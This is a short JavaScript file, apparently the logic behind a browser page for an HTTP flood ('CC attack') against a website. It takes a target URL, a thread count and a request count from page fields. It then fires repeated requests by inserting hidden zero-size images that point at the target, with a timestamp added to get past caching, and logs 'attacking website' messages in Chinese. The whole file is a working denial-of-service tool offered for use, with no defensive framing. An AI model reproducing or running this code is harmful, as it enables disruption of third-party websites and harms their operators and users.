

function asyncOperation(url , number) {
    var log_view = document.getElementById('console');
    return new Promise((resolve, reject) => {
        for (var i = 0 ; i < number ;i++) {
            i++;
            console.log(i)
            var dom = document.createElement('img');
            dom.src = url + "?a=" + new Date();
            dom.style.width = '0px';
            dom.style.height = '0px';
            document.body.appendChild(dom);
                document.body.removeChild(dom);

            setTimeout(() => {
                if (i % 200 == 0) {
                    log_view.innerHTML += '[INFO] 攻击网站: '+url+'<br />'
                }
            }, 100);
        }
    });
}


function cc_attack() {
    var url = document.getElementById('target').value;
    var thread = document.getElementById('thread').value;
    var number = document.getElementById('number').value;

    console.log(thread)
    console.log(number)

    for (var i = 0 ; i < thread ; i++) {
        asyncOperation(url , number).then(result => {
            console.log('ok')
        });
    }
}
